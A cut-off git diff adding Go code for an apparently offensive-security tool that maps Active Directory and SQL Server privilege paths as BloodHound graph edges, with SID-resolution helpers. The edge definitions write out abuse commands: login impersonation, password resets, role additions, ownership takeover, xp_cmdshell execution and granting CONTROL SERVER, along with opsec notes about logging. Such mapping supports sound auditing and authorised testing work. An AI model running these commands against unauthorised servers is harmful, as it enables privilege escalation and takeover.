+ parts := strings.Split(domain, ".")
+ var dnParts []string
+ for _, part := range parts {
+ dnParts = append(dnParts, fmt.Sprintf("DC=%s", part))
+ }
+ return strings.Join(dnParts, ",")
+}
+
+// parseSPN parses an SPN string into its components
+func parseSPN(spn string) types.SPN {
+ result := types.SPN{FullSPN: spn}
+
+ // Format: service/host:port or service/host
+ parts := strings.SplitN(spn, "/", 2)
+ if len(parts) < 2 {
+ return result
+ }
+
+ result.ServiceClass = parts[0]
+ hostPart := parts[1]
+
+ // Check for port or instance name
+ if idx := strings.Index(hostPart, ":"); idx != -1 {
+ result.Hostname = hostPart[:idx]
+ portOrInstance := hostPart[idx+1:]
+
+ // If it's a number, it's a port; otherwise instance name
+ if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil {
+ result.Port = portOrInstance
+ } else {
+ result.InstanceName = portOrInstance
+ }
+ } else {
+ result.Hostname = hostPart
+ }
+
+ return result
+}
+
+// decodeSID converts a binary SID to a string representation
+func decodeSID(b []byte) string {
+ if len(b) < 8 {
+ return ""
+ }
+
+ revision := b[0]
+ subAuthCount := int(b[1])
+
+ // Build authority (6 bytes, big-endian)
+ var authority uint64
+ for i := 2; i < 8; i++ {
+ authority = (authority << 8) | uint64(b[i])
+ }
+
+ // Build SID string
+ sid := fmt.Sprintf("S-%d-%d", revision, authority)
+
+ // Add sub-authorities (4 bytes each, little-endian)
+ for i := 0; i < subAuthCount && 8+i*4+4 <= len(b); i++ {
+ subAuth := uint32(b[8+i*4]) |
+ uint32(b[8+i*4+1])<<8 |
+ uint32(b[8+i*4+2])<<16 |
+ uint32(b[8+i*4+3])<<24
+ sid += fmt.Sprintf("-%d", subAuth)
+ }
+
+ return sid
+}
+
+// escapeSIDForLDAP escapes a SID string for use in an LDAP filter
+// This converts a SID like S-1-5-21-xxx to its binary escaped form
+func escapeSIDForLDAP(sid string) string {
+ // For now, use a simpler approach - search by string
+ // In production, you'd want to convert the SID to binary and escape it
+ return ldap.EscapeFilter(sid)
+}
+
+// isPrivateIP checks if an IP address is in a private range (RFC 1918)
+func isPrivateIP(ip net.IP) bool {
+ if ip4 := ip.To4(); ip4 != nil {
+ // 10.0.0.0/8
+ if ip4[0] == 10 {
+ return true
+ }
+ // 172.16.0.0/12
+ if ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31 {
+ return true
+ }
+ // 192.168.0.0/16
+ if ip4[0] == 192 && ip4[1] == 168 {
+ return true
+ }
+ }
+ return false
+}
diff --git a/internal/ad/gssapi_nonwindows.go b/internal/ad/gssapi_nonwindows.go
new file mode 100644
index 0000000..ed5e7b9
--- /dev/null
+++ b/internal/ad/gssapi_nonwindows.go
@@ -0,0 +1,14 @@
+//go:build !windows
+// +build !windows
+
+package ad
+
+import (
+ "fmt"
+
+ "github.com/go-ldap/ldap/v3"
+)
+
+func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) {
+ return nil, nil, fmt.Errorf("GSSAPI/Kerberos SSPI is only supported on Windows")
+}
diff --git a/internal/ad/gssapi_windows.go b/internal/ad/gssapi_windows.go
new file mode 100644
index 0000000..3c844c4
--- /dev/null
+++ b/internal/ad/gssapi_windows.go
@@ -0,0 +1,58 @@
+//go:build windows
+// +build windows
+
+package ad
+
+import (
+ "fmt"
+ "strings"
+
+ "github.com/go-ldap/ldap/v3"
+ "github.com/go-ldap/ldap/v3/gssapi"
+)
+
+func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) {
+ if user != "" && password != "" {
+ // Try multiple credential forms to satisfy SSPI requirements.
+ if strings.Contains(user, "@") {
+ parts := strings.SplitN(user, "@", 2)
+ upnDomain := parts[1]
+ upnUser := parts[0]
+
+ // First try DOMAIN + username (common for SSPI).
+ if client, err := gssapi.NewSSPIClientWithUserCredentials(upnDomain, upnUser, password); err == nil {
+ return client, client.Close, nil
+ }
+
+ // Fallback: pass full UPN as username with empty domain.
+ if client, err := gssapi.NewSSPIClientWithUserCredentials("", user, password); err == nil {
+ return client, client.Close, nil
+ }
+ } else {
+ userDomain, username := splitDomainUser(user, domain)
+ if client, err := gssapi.NewSSPIClientWithUserCredentials(userDomain, username, password); err == nil {
+ return client, client.Close, nil
+ }
+ }
+
+ return nil, nil, fmt.Errorf("failed to acquire SSPI credentials for provided user")
+ }
+
+ client, err := gssapi.NewSSPIClient()
+ if err != nil {
+ return nil, nil, err
+ }
+ return client, client.Close, nil
+}
+
+func splitDomainUser(user, fallbackDomain string) (string, string) {
+ if strings.Contains(user, "\\") {
+ parts := strings.SplitN(user, "\\", 2)
+ return parts[0], parts[1]
+ }
+ if strings.Contains(user, "@") {
+ // For UPN formats, pass the full UPN as the username and leave domain empty.
+ return "", user
+ }
+ return fallbackDomain, user
+}
diff --git a/internal/ad/sid_nonwindows.go b/internal/ad/sid_nonwindows.go
new file mode 100644
index 0000000..8ee2dcc
--- /dev/null
+++ b/internal/ad/sid_nonwindows.go
@@ -0,0 +1,24 @@
+//go:build !windows
+// +build !windows
+
+package ad
+
+import "fmt"
+
+// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs
+// On non-Windows platforms, this returns an error since Windows APIs aren't available
+func ResolveComputerSIDWindows(computerName, domain string) (string, error) {
+ return "", fmt.Errorf("Windows API SID resolution not available on this platform")
+}
+
+// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID
+// On non-Windows platforms, this returns an error
+func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) {
+ return "", fmt.Errorf("Windows API SID resolution not available on this platform")
+}
+
+// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs
+// On non-Windows platforms, this returns an error since Windows APIs aren't available
+func ResolveAccountSIDWindows(accountName string) (string, error) {
+ return "", fmt.Errorf("Windows API SID resolution not available on this platform")
+}
diff --git a/internal/ad/sid_windows.go b/internal/ad/sid_windows.go
new file mode 100644
index 0000000..4cfd636
--- /dev/null
+++ b/internal/ad/sid_windows.go
@@ -0,0 +1,144 @@
+//go:build windows
+// +build windows
+
+package ad
+
+import (
+ "fmt"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+var (
+ modNetapi32 = syscall.NewLazyDLL("netapi32.dll")
+ modAdvapi32 = syscall.NewLazyDLL("advapi32.dll")
+ procNetUserGetInfo = modNetapi32.NewProc("NetUserGetInfo")
+ procNetApiBufferFree = modNetapi32.NewProc("NetApiBufferFree")
+ procDsGetDcNameW = modNetapi32.NewProc("DsGetDcNameW")
+ procLookupAccountNameW = modAdvapi32.NewProc("LookupAccountNameW")
+ procConvertSidToStringSidW = modAdvapi32.NewProc("ConvertSidToStringSidW")
+ procLocalFree = syscall.NewLazyDLL("kernel32.dll").NewProc("LocalFree")
+)
+
+// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs
+// This is more reliable than LDAP GSSAPI on Windows
+func ResolveComputerSIDWindows(computerName, domain string) (string, error) {
+ // Format the computer name with $ suffix for the account
+ accountName := computerName
+ if !strings.HasSuffix(accountName, "$") {
+ accountName = accountName + "$"
+ }
+
+ // If it's an FQDN, strip the domain part
+ if strings.Contains(accountName, ".") {
+ parts := strings.SplitN(accountName, ".", 2)
+ accountName = parts[0]
+ if !strings.HasSuffix(accountName, "$") {
+ accountName = accountName + "$"
+ }
+ }
+
+ // Try with domain prefix
+ if domain != "" {
+ fullName := domain + "\\" + accountName
+ sid, err := lookupAccountSID(fullName)
+ if err == nil && sid != "" {
+ return sid, nil
+ }
+ }
+
+ // Try just the account name
+ sid, err := lookupAccountSID(accountName)
+ if err == nil && sid != "" {
+ return sid, nil
+ }
+
+ return "", fmt.Errorf("could not resolve SID for computer %s: %v", computerName, err)
+}
+
+// lookupAccountSID uses LookupAccountNameW to get the SID for an account
+func lookupAccountSID(accountName string) (string, error) {
+ accountNamePtr, err := syscall.UTF16PtrFromString(accountName)
+ if err != nil {
+ return "", err
+ }
+
+ // First call to get buffer sizes
+ var sidSize, domainSize uint32
+ var sidUse uint32
+
+ ret, _, _ := procLookupAccountNameW.Call(
+ 0, // lpSystemName - NULL for local
+ uintptr(unsafe.Pointer(accountNamePtr)),
+ 0, // Sid - NULL to get size
+ uintptr(unsafe.Pointer(&sidSize)),
+ 0, // ReferencedDomainName - NULL to get size
+ uintptr(unsafe.Pointer(&domainSize)),
+ uintptr(unsafe.Pointer(&sidUse)),
+ )
+
+ if sidSize == 0 {
+ return "", fmt.Errorf("LookupAccountNameW failed to get buffer size")
+ }
+
+ // Allocate buffers
+ sid := make([]byte, sidSize)
+ domain := make([]uint16, domainSize)
+
+ // Second call to get actual data
+ ret, _, err = procLookupAccountNameW.Call(
+ 0,
+ uintptr(unsafe.Pointer(accountNamePtr)),
+ uintptr(unsafe.Pointer(&sid[0])),
+ uintptr(unsafe.Pointer(&sidSize)),
+ uintptr(unsafe.Pointer(&domain[0])),
+ uintptr(unsafe.Pointer(&domainSize)),
+ uintptr(unsafe.Pointer(&sidUse)),
+ )
+
+ if ret == 0 {
+ return "", fmt.Errorf("LookupAccountNameW failed: %v", err)
+ }
+
+ // Convert SID to string
+ return convertSIDToString(sid)
+}
+
+// convertSIDToString converts a binary SID to string format
+func convertSIDToString(sid []byte) (string, error) {
+ var stringSidPtr *uint16
+
+ ret, _, err := procConvertSidToStringSidW.Call(
+ uintptr(unsafe.Pointer(&sid[0])),
+ uintptr(unsafe.Pointer(&stringSidPtr)),
+ )
+
+ if ret == 0 {
+ return "", fmt.Errorf("ConvertSidToStringSidW failed: %v", err)
+ }
+
+ defer procLocalFree.Call(uintptr(unsafe.Pointer(stringSidPtr)))
+
+ // Convert UTF16 to string
+ sidString := syscall.UTF16ToString((*[256]uint16)(unsafe.Pointer(stringSidPtr))[:])
+ return sidString, nil
+}
+
+// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID
+// This tries to find the computer account and return its full SID
+func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) {
+ // First try the direct Windows API method
+ sid, err := ResolveComputerSIDWindows(computerName, domain)
+ if err == nil && sid != "" && strings.HasPrefix(sid, domainSID) {
+ return sid, nil
+ }
+
+ return "", fmt.Errorf("could not resolve computer SID using Windows APIs")
+}
+
+// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs
+// This works for users, groups, and computers
+func ResolveAccountSIDWindows(accountName string) (string, error) {
+ return lookupAccountSID(accountName)
+}
diff --git a/internal/bloodhound/edges.go b/internal/bloodhound/edges.go
new file mode 100644
index 0000000..96359bd
--- /dev/null
+++ b/internal/bloodhound/edges.go
@@ -0,0 +1,738 @@
+// Package bloodhound provides BloodHound OpenGraph JSON output generation.
+// This file contains edge property generators that match the PowerShell version.
+package bloodhound
+
+// EdgeProperties contains the documentation and metadata for an edge
+type EdgeProperties struct {
+ Traversable bool `json:"traversable"`
+ General string `json:"general"`
+ WindowsAbuse string `json:"windowsAbuse"`
+ LinuxAbuse string `json:"linuxAbuse"`
+ Opsec string `json:"opsec"`
+ References string `json:"references"`
+}
+
+// EdgeContext provides context for generating edge properties
+type EdgeContext struct {
+ SourceName string
+ SourceType string
+ TargetName string
+ TargetType string
+ SQLServerName string
+ DatabaseName string
+ Permission string
+ IsFixedRole bool
+}
+
+// GetEdgeProperties returns the properties for a given edge kind
+func GetEdgeProperties(kind string, ctx *EdgeContext) map[string]interface{} {
+ props := make(map[string]interface{})
+
+ generator, ok := edgePropertyGenerators[kind]
+ if !ok {
+ // Default properties for unknown edge types
+ props["traversable"] = true
+ props["general"] = "Relationship exists between source and target."
+ return props
+ }
+
+ edgeProps := generator(ctx)
+ props["traversable"] = edgeProps.Traversable
+ props["general"] = edgeProps.General
+ props["windowsAbuse"] = edgeProps.WindowsAbuse
+ props["linuxAbuse"] = edgeProps.LinuxAbuse
+ props["opsec"] = edgeProps.Opsec
+ props["references"] = edgeProps.References
+
+ return props
+}
+
+// IsTraversableEdge returns whether an edge type is traversable based on its
+// property generator definition. This matches the PowerShell EdgePropertyGenerators
+// traversable values.
+func IsTraversableEdge(kind string) bool {
+ // Check against known non-traversable edge types (matching PowerShell EdgePropertyGenerators)
+ switch kind {
+ case EdgeKinds.Alter,
+ EdgeKinds.Control,
+ EdgeKinds.Impersonate,
+ EdgeKinds.AlterAnyLogin,
+ EdgeKinds.AlterAnyServerRole,
+ EdgeKinds.AlterAnyAppRole,
+ EdgeKinds.AlterAnyDBRole,
+ EdgeKinds.Connect,
+ EdgeKinds.ConnectAnyDatabase,
+ EdgeKinds.TakeOwnership,
+ EdgeKinds.HasDBScopedCred,
+ EdgeKinds.HasMappedCred,
+ EdgeKinds.HasProxyCred,
+ EdgeKinds.AlterDB,
+ EdgeKinds.AlterDBRole,
+ EdgeKinds.AlterServerRole,
+ EdgeKinds.ImpersonateDBUser,
+ EdgeKinds.ImpersonateLogin,
+ EdgeKinds.LinkedTo,
+ EdgeKinds.IsTrustedBy,
+ EdgeKinds.ServiceAccountFor:
+ return false
+ default:
+ return true
+ }
+}
+
+// edgePropertyGenerators maps edge kinds to their property generators
+var edgePropertyGenerators = map[string]func(*EdgeContext) EdgeProperties{
+
+ EdgeKinds.MemberOf: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " is a member of the " + ctx.TargetType + ". This membership grants all permissions associated with the target role to the source principal.",
+ WindowsAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.",
+ LinuxAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.",
+ Opsec: `Role membership is a static relationship. Actions performed using role permissions are logged based on the specific operation, not the role membership itself.
+To view current role memberships at server level:
+ SELECT r.name AS RoleName, m.name AS MemberName
+ FROM sys.server_role_members rm
+ JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id
+ ORDER BY r.name, m.name;
+To view current role memberships at database level:
+ SELECT r.name AS RoleName, m.name AS MemberName
+ FROM sys.database_role_members rm
+ JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id
+ JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id
+ ORDER BY r.name, m.name;`,
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles
+- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-role-members-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql`,
+ }
+ },
+
+ EdgeKinds.IsMappedTo: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " is mapped to this " + ctx.TargetType + " in the " + ctx.DatabaseName + " database. When connected as the login, the user automatically has database access.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and switch to the " + ctx.DatabaseName + " database to act as the database user.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and switch to the " + ctx.DatabaseName + " database to act as the database user.",
+ Opsec: "Login to database user mappings are standard SQL Server behavior. Switching databases is normal activity.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-database-user",
+ }
+ },
+
+ EdgeKinds.Contains: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " contains the " + ctx.TargetType + ".",
+ WindowsAbuse: "This is a containment relationship showing hierarchy.",
+ LinuxAbuse: "This is a containment relationship showing hierarchy.",
+ Opsec: "N/A - this is an informational edge showing object hierarchy.",
+ References: "",
+ }
+ },
+
+ EdgeKinds.Owns: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " owns the " + ctx.TargetType + ". Ownership provides full control over the object, including the ability to grant permissions, change properties, and in most cases, impersonate or control access.",
+ WindowsAbuse: "As the owner of " + ctx.TargetName + ", connect to " + ctx.SQLServerName + " and exercise full control over the owned object.",
+ LinuxAbuse: "As the owner of " + ctx.TargetName + ", connect to " + ctx.SQLServerName + " and exercise full control over the owned object.",
+ Opsec: "Ownership changes are logged in SQL Server. Actions taken as owner are logged based on the specific operation.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/ownership-and-user-schema-separation-in-sql-server`,
+ }
+ },
+
+ EdgeKinds.ControlServer: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL SERVER permission on the SQL Server, granting full administrative control equivalent to sysadmin.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute any administrative command. You can create logins, modify permissions, and access all databases.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute any administrative command. You can create logins, modify permissions, and access all databases.",
+ Opsec: "CONTROL SERVER grants sysadmin-equivalent permissions. All administrative actions are logged. Consider using more targeted permissions if possible.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine
+- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql`,
+ }
+ },
+
+ EdgeKinds.ControlDB: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the " + ctx.DatabaseName + " database, granting full administrative control equivalent to db_owner.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and execute any administrative command within the database scope.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and execute any administrative command within the database scope.",
+ Opsec: "CONTROL on database grants db_owner-equivalent permissions within the database. All database administrative actions are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.Impersonate: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ExecuteAs is the traversable counterpart
+ General: "The " + ctx.SourceType + " can impersonate the " + ctx.TargetType + ", executing commands with the target's permissions.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the target login.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the target login.",
+ Opsec: `Impersonation is logged in SQL Server audit logs. To check current execution context:
+ SELECT SYSTEM_USER, USER_NAME(), ORIGINAL_LOGIN();
+To revert impersonation:
+ REVERT;`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+
+ EdgeKinds.ImpersonateAnyLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has IMPERSONATE ANY LOGIN permission, allowing impersonation of any server login.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = ''; to impersonate any login on the server.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = ''; to impersonate any login on the server.",
+ Opsec: "IMPERSONATE ANY LOGIN is a powerful permission. All impersonation attempts are logged in the SQL Server audit log.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.ChangePassword: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can change the password of the " + ctx.TargetType + " without knowing the current password.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword123!';",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword123!';",
+ Opsec: `Password changes are logged in SQL Server audit logs and Windows Security event log. Event IDs:
+- SQL Server: Audit Login Change Password Event
+- Windows: 4724 (An attempt was made to reset an account's password)`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-login-transact-sql
+- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49758`,
+ }
+ },
+
+ EdgeKinds.AddMember: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can add members to the " + ctx.TargetType + ", granting the new member the permissions assigned to the role.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [target_login]; or sp_addsrvrolemember for server roles, or ALTER ROLE/sp_addrolemember for database roles.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [target_login]; or sp_addsrvrolemember for server roles, or ALTER ROLE/sp_addrolemember for database roles.",
+ Opsec: "Role membership changes are logged in SQL Server audit logs. Adding members to privileged roles like sysadmin or db_owner generates high-visibility events.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql
+- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql`,
+ }
+ },
+
+ EdgeKinds.Alter: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable by default
+ General: "The " + ctx.SourceType + " has ALTER permission on the " + ctx.TargetType + ".",
+ WindowsAbuse: "ALTER permission allows modifying the target object's properties but may not grant full control.",
+ LinuxAbuse: "ALTER permission allows modifying the target object's properties but may not grant full control.",
+ Opsec: "ALTER operations are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.Control: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable by default
+ General: "The " + ctx.SourceType + " has CONTROL permission on the " + ctx.TargetType + ".",
+ WindowsAbuse: "CONTROL permission grants ownership-like permissions on the target object.",
+ LinuxAbuse: "CONTROL permission grants ownership-like permissions on the target object.",
+ Opsec: "CONTROL operations are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ChangeOwner: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can take ownership of the " + ctx.TargetType + " via TAKE OWNERSHIP permission.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER AUTHORIZATION ON [" + ctx.TargetName + "] TO [" + ctx.SourceName + "];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER AUTHORIZATION ON [" + ctx.TargetName + "] TO [" + ctx.SourceName + "];",
+ Opsec: "Ownership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterAnyLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER ANY LOGIN permission on the server, allowing modification of any login.",
+ WindowsAbuse: "This permission allows changing passwords, enabling/disabling logins, and modifying login properties for any login on the server.",
+ LinuxAbuse: "This permission allows changing passwords, enabling/disabling logins, and modifying login properties for any login on the server.",
+ Opsec: "ALTER ANY LOGIN is a sensitive permission. All login modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterAnyServerRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER ANY SERVER ROLE permission, allowing modification of any server role.",
+ WindowsAbuse: "This permission allows creating, altering, and dropping server roles, as well as adding/removing members from roles.",
+ LinuxAbuse: "This permission allows creating, altering, and dropping server roles, as well as adding/removing members from roles.",
+ Opsec: "ALTER ANY SERVER ROLE is a sensitive permission. All role modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.LinkedTo: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The SQL Server has a linked server connection to " + ctx.TargetName + ", allowing queries across servers.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and query the linked server: SELECT * FROM [" + ctx.TargetName + "].master.sys.databases; or EXEC [" + ctx.TargetName + "].master.dbo.sp_configure;",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and query the linked server: SELECT * FROM [" + ctx.TargetName + "].master.sys.databases; or EXEC [" + ctx.TargetName + "].master.dbo.sp_configure;",
+ Opsec: "Linked server queries are logged on both the source and target servers. Network traffic between servers may be monitored.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
+- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/`,
+ }
+ },
+
+ EdgeKinds.ExecuteAsOwner: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The database is TRUSTWORTHY and owned by a privileged login. Stored procedures can execute as the owner with elevated privileges.",
+ WindowsAbuse: "Create a stored procedure in the trustworthy database with EXECUTE AS OWNER to escalate privileges to the database owner's server-level permissions.",
+ LinuxAbuse: "Create a stored procedure in the trustworthy database with EXECUTE AS OWNER to escalate privileges to the database owner's server-level permissions.",
+ Opsec: "Stored procedure creation and execution are logged. TRUSTWORTHY databases are a known security risk.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property
+- https://www.netspi.com/blog/technical-blog/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/`,
+ }
+ },
+
+ EdgeKinds.IsTrustedBy: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The database has the TRUSTWORTHY property enabled, which allows stored procedures to access resources outside the database.",
+ WindowsAbuse: "Code executing in this database can access server-level resources if the database owner has appropriate permissions.",
+ LinuxAbuse: "Code executing in this database can access server-level resources if the database owner has appropriate permissions.",
+ Opsec: "TRUSTWORTHY is a security setting that should be disabled unless required. Its status can be queried from sys.databases.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property",
+ }
+ },
+
+ EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The " + ctx.SourceType + " is the service account running the SQL Server service for " + ctx.TargetName + ".",
+ WindowsAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.",
+ LinuxAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.",
+ Opsec: "Service account changes require restarting the SQL Server service.",
+ References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions",
+ }
+ },
+
+ EdgeKinds.HostFor: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The computer hosts the SQL Server instance.",
+ WindowsAbuse: "Administrative access to the host computer provides access to the SQL Server process, data files, and potentially stored credentials.",
+ LinuxAbuse: "Administrative access to the host computer provides access to the SQL Server process, data files, and potentially stored credentials.",
+ Opsec: "Host-level access bypasses SQL Server authentication logging.",
+ References: "",
+ }
+ },
+
+ EdgeKinds.ExecuteOnHost: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The SQL Server can execute commands on the host computer through xp_cmdshell or other mechanisms.",
+ WindowsAbuse: "If xp_cmdshell is enabled, execute: EXEC xp_cmdshell 'whoami'; to run OS commands as the SQL Server service account.",
+ LinuxAbuse: "If xp_cmdshell is enabled, execute: EXEC xp_cmdshell 'whoami'; to run OS commands as the SQL Server service account.",
+ Opsec: "xp_cmdshell execution is logged if enabled. Process creation on the host is logged by the OS.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql",
+ }
+ },
+
+ EdgeKinds.GrantAnyPermission: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can grant ANY server permission to any login (securityadmin role capability).",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and grant elevated permissions: GRANT CONTROL SERVER TO [target_login];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and grant elevated permissions: GRANT CONTROL SERVER TO [target_login];",
+ Opsec: "Permission grants are logged in SQL Server audit logs. Granting high-privilege permissions generates security alerts in monitored environments.",
